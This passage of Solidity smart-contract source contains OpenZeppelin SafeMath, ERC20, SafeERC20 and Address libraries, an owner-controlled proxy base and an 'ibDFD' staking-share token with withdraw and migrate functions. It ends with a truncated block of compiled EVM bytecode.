(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Initializable { bool initialized = false; modifier notInitialized() { require(!initialized, "already initialized"); initialized = true; _; } // Reserved storage space to allow for layout changes in the future. uint256[20] private _gap; function getStore(uint a) internal view returns(uint) { require(a < 20, "Not allowed"); return _gap[a]; } function setStore(uint a, uint val) internal { require(a < 20, "Not allowed"); _gap[a] = val; } } contract OwnableProxy { bytes32 constant OWNER_SLOT = keccak256("proxy.owner"); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { _transferOwnership(msg.sender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns(address _owner) { bytes32 position = OWNER_SLOT; assembly { _owner := sload(position) } } modifier onlyOwner() { require(isOwner(), "NOT_OWNER"); _; } function isOwner() public view returns (bool) { return owner() == msg.sender; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "OwnableProxy: new owner is the zero address"); emit OwnershipTransferred(owner(), newOwner); bytes32 position = OWNER_SLOT; assembly { sstore(position, newOwner) } } } interface IDFDComptroller { function getReward() external; function availableReward() external view returns(uint); } contract ibDFD is OwnableProxy, Initializable, ERC20, ERC20Detailed { using SafeERC20 for IERC20; uint constant FEE_PRECISION = 10000; IERC20 public constant dfd = IERC20(0x20c36f062a31865bED8a5B1e512D9a1A20AA333A); IDFDComptroller public comptroller; uint public redeemFactor; event Deposit(address indexed user, uint indexed amount); event Withdrawn(address indexed user, uint indexed amount); /** * @dev Since this is a proxy, the values set in the ERC20Detailed constructor are not actually set in the main contract. */ constructor () public ERC20Detailed("ibDFD Implementation", "ibDFD_i", 18) {} function withdraw(uint _shares) external { comptroller.getReward(); uint r = balance() .mul(_shares) .mul(redeemFactor) .div(totalSupply().mul(FEE_PRECISION)); _burn(msg.sender, _shares); dfd.safeTransfer(msg.sender, r); emit Withdrawn(msg.sender, r); } function migrate() external { comptroller.getReward(); uint _shares = balanceOf(msg.sender); uint r = balance() .mul(_shares) .div(totalSupply()); _burn(msg.sender, _shares); address _stakingV2 = stakingV2(); dfd.safeApprove(_stakingV2, r); IStakingV2(_stakingV2).stakeFor(r, msg.sender); emit Withdrawn(msg.sender, r); } /* ##### Admin ##### */ function setStakingV2(address _stakingV2) external onlyOwner { setStore(0, uint(_stakingV2)); require(address(getStore(0)) == _stakingV2, "Sanity check failed"); } /* ##### View ##### */ function stakingV2() public view returns(address) { return address(getStore(0)); } function balance() public view returns (uint) { return dfd.balanceOf(address(this)); } function getPricePerFullShare() public view returns (uint) { if (totalSupply() == 0) { return 1e18; } return balance().add(comptroller.availableReward()).mul(1e18).div(totalSupply()); } } interface IStakingV2 { function stakeFor(uint amount, address user) external; }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80638187665c116100c3578063a457c2d71161007c578063a457c2d7146105fc578063a9059cbb14610662578063b69ef8a8146106c8578063b8c40298146106e6578063dd62ed3e14610730578063f2fde38b146107a85761014d565b80638187665c1461047557806388611736146104b95780638da5cb5b146105035780638f32d59b1461054d5780638fd3ab801461056f57806395d89b41146105795761014d565b8063313ce56711610115578063313ce5671461030d57806339509351146103315780634b6c5936146103975780635fe3b567146103b557806370a08231146103ff57806377c7b8fc146104575761014d565b806306fdde0314610152578063095ea7b3146101d557806318160ddd1461023b57806323b872dd146102595780632e1a7d4d146102df575b600080fd5b61015a6107ec565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610221600480360360408110156101eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088e565b604051808215151515815260200191505060405180910390f35b6102436108ac565b6040518082815260200191505060405180910390f35b6102c56004803603606081101561026f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b6565b604051808215151515815260200191505060405180910390f35b61030b600480360360208110156102f557600080fd5b810190808035906020019092919050505061098f565b005b610315610b01565b604051808260ff1660ff16815260200191505060405180910390f35b61037d6004803603604081101561034757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b18565b604051808215151515815260200191505060405180910390f35b61039f610bcb565b6040518082815260200191505060405180910390f35b6103bd610bd1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104416004803603602081101561041557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf7565b6040518082815260200191505060405180910390f35b61045f610c40565b6040518082815260200191505060405180910390f35b6104b76004803603602081101561048b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d56565b005b6104c1610e9e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61050b610eaf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610555610ef2565b604051808215151515815260200191505060405180910390f35b610577610f2f565b005b610581611132565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c15780820151818401526020810190506105a6565b50505050905090810190601f1680156105ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106486004803603604081101561061257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111d4565b604051808215151515815260200191505060405180910390f35b6106ae6004803603604081101561067857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112a1565b604051808215151515815260200191505060405180910390f35b6106d06112bf565b6040518082815260200191505060405180910390f35b6106ee611392565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107926004803603604081101561074657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113aa565b6040518082815260200191505060405180910390f35b6107ea600480360360208110156107be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611431565b005b606060188054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108845780601f1061085957610100808354040283529160200191610884565b820191906000526020600020905b81548152906001019060200180831161086757829003601f168201915b5050505050905090565b60006108a261089b6114b7565b84846114bf565b6001905092915050565b6000601754905090565b60006108c38484846116b6565b610984846108cf6114b7565b61097f856040518060600160405280602881526020016126f660289139601660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109356114b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119709092919063ffffffff16565b6114bf565b600190509392505050565b601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d18b9126040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156109f957600080fd5b505af1158015610a0d573d6000803e3d6000fd5b505050506000610a6e610a32612710610a246108ac565b611a3090919063ffffffff16565b610a60601b54610a5286610a446112bf565b611a3090919063ffffffff16565b611a3090919063ffffffff16565b611ab690919063ffffffff16565b9050610a7a3383611b00565b610ab933827320c36f062a31865bed8a5b1e512d9a1a20aa333a73ffffffffffffffffffffffffffffffffffffffff16611cba9092919063ffffffff16565b803373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d560405160405180910390a35050565b6000601a60009054906101000a900460ff16905090565b6000610bc1610b256114b7565b84610bbc8560166000610b366114b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b6114bf565b6001905092915050565b601b5481565b601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080610c4b6108ac565b1415610c6157670de0b6b3a76400009050610d53565b610d50610c6c6108ac565b610d42670de0b6b3a7640000610d34601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634ad84b346040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce357600080fd5b505afa158015610cf7573d6000803e3d6000fd5b505050506040513d6020811015610d0d57600080fd5b8101908080519060200190929190505050610d266112bf565b611d8b90919063ffffffff16565b611a3090919063ffffffff16565b611ab690919063ffffffff16565b90505b90565b610d5e610ef2565b610dd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e4f545f4f574e4552000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610df160008273ffffffffffffffffffffffffffffffffffffffff16611e13565b8073ffffffffffffffffffffffffffffffffffffffff16610e126000611ea0565b73ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53616e69747920636865636b206661696c65640000000000000000000000000081525060200191505060405180910390fd5b50565b6000610eaa6000611ea0565b905090565b60008060405180807f70726f78792e6f776e6572000000000000000000000000000000000000000000815250600b01905060405180910390209050805491505090565b60003373ffffffffffffffffffffffffffffffffffffffff16610f13610eaf565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d18b9126040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610f9957600080fd5b505af1158015610fad573d6000803e3d6000fd5b505050506000610fbc33610bf7565b90506000610ff3610fcb6108ac565b610fe584610fd76112bf565b611a3090919063ffffffff16565b611ab690919063ffffffff16565b9050610fff3383611b00565b6000611009610e9e565b905061104a81837320c36f062a31865bed8a5b1e512d9a1a20aa333a73ffffffffffffffffffffffffffffffffffffffff16611f2e9092919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff166351746bb283336040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1580156110d157600080fd5b505af11580156110e5573d6000803e3d6000fd5b50505050813373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d560405160405180910390a3505050565b606060198054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111ca5780601f1061119f576101008083540402835291602001916111ca565b820191906000526020600020905b8154815290600101906020018083116111ad57829003601f168201915b5050505050905090565b60006112976111e16114b7565b84611292856040518060600160405280602581526020016127e8602591396016600061120b6114b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119709092919063ffffffff16565b6114bf565b6001905092915050565b60006112b56112ae6114b7565b84846116b6565b6001905092915050565b60007320c36f062a31865bed8a5b1e512d9a1a20aa333a73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561135257600080fd5b505afa158015611366573d6000803e3d6000fd5b505050506040513d602081101561137c57600080fd5b8101908080519060200190929190505050905090565b7320c36f062a31865bed8a5b1e512d9a1a20aa333a81565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611439610ef2565b6114ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e4f545f4f574e4552000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6114b48161214e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611545576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806127646024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126626022913960400191505060405180910390fd5b80601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061273f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061261d6023913960400191505060405180910390fd5b61182e8160405180606001604052806026815260200161268460269139601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119709092919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118c381601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611a1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119e25780820151818401526020810190506119c7565b50505050905090810190601f168015611a0f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831415611a435760009050611ab0565b6000828402905082848281611a5457fe5b0414611aab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806126d56021913960400191505060405180910390fd5b809150505b92915050565b6000611af883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612276565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061271e6021913960400191505060405180910390fd5b611bf28160405180606001604052806022815260200161264060229139601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119709092919063ffffffff16565b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4a8160175461233c90919063ffffffff16565b601781905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b611d86838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612386565b505050565b600080828401905083811015611e09576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60148210611e89576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f7420616c6c6f77656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060018360148110611e9757fe5b01819055505050565b600060148210611f18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f7420616c6c6f77656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018260148110611f2557fe5b01549050919050565b6000811480612028575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611feb57600080fd5b505afa158015611fff573d6000803e3d6000fd5b505050506040513d602081101561201557600080fd5b8101908080519060200190929190505050145b61207d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806127b26036913960400191505060405180910390fd5b612149838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612386565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806126aa602b913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166121f3610eaf565b73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600060405180807f70726f78792e6f776